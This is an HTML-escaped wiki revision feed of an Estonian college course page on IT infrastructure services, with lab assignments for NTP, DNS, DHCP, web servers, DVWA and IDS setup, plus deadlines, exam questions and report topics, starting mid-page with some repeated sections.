127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88672</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88672"/>
		<updated>2015-05-20T05:59:40Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[iodine]]&lt;br /&gt;
&lt;br /&gt;
[[fabric]]&lt;br /&gt;
&lt;br /&gt;
[[mpstat]]&lt;br /&gt;
&lt;br /&gt;
[[arpwatch]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[ss]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[glances]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[mod_status]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
